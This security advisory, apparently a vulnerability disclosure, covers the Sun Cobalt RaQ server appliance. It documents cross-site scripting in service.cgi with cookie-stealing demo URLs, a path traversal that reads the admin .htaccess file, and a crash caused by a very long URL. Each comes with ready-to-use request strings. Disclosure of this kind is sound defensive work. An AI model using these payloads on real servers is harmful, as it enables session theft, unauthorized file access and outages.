----=[Brief Description]=------------

The Sun Cobalt RaQ is a server appliance for Internet Service Providers
(ISPs). It can host up to 200 individual websites or it can be dedicated
to a single medium or large customer. This versatility opens up tremendous
opportunity for service provider to invest in a single piece of hardware
while migrating business customers up to dedicated servers.


----=[Summary]=----------------------


Exist three vulnerabilities:

a) Cross Site Scripting.
b) Traversal vulnerabilities.
c) Denial Of Service.(Exploit Released)


Cobalt's service.cgi incorrectly handles the incoming search parses,
incoming HTML tags or JavaScript will be included inside the result
without them being filtered out for dangerous content. A similar problem
occurs with the x.cgi's inclusion of malicious code inside the resulting
title search.

The cgi^s files is an open source .A security vulnerability in the
product allows attackers to insert malicious content into existing web
pages by exploiting the Cross-Site Scripting Vulnerability.


Affected Files Cgi^s

alert.cgi  
service.cgi


Workaround:
1) Delete service.cgi from the system, or disable its possible
execution.
2) Delete alert.cgi from the system, or disable its possible execution


EXAMPLES:

http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<h1>Hello!</h
1><script>alert('hello')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<script>alert
('Microsoft%20hole')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<img%20src=ja
vascript:alert(document.domain)>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<script>alert
(document.cookie)</script>

LOCATION:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ea
lert(document.location)%3C/script%3E

COOKIES:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ea
lert(document.cookie)%3C/script%3E

TAG IMAGES:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<img%20src=ja
vascript:alert(document.domain)>


WRITE ON DOCUMENT:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<SCRIPT>docum
ent.write(document.domain)</SCRIPT>


------oOo--------

Traversal File configuration.


Exploit:
http://10.0.0.1:81/.cobalt/sysManage/../admin/.htaccess

# Access file for /usr/admserv/html/.cobalt/admin/ (admin  )
order allow,deny
allow from all
require user admin
Authname CobaltRaQ
Authtype Basic



Directory by Default on server is: "/usr/admserv/html/.cobalt/admin" u can
translate to any directory for capture restricted files or passwords and
profiles the users.


------oOo--------

Denial Of service. 


Proof Of concept:

Server crashes after sending a very long URL:

Example:

http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=/AAAAAAAAA...
(Ax100000)...AAA


Crash system and the admin need restart the service!.
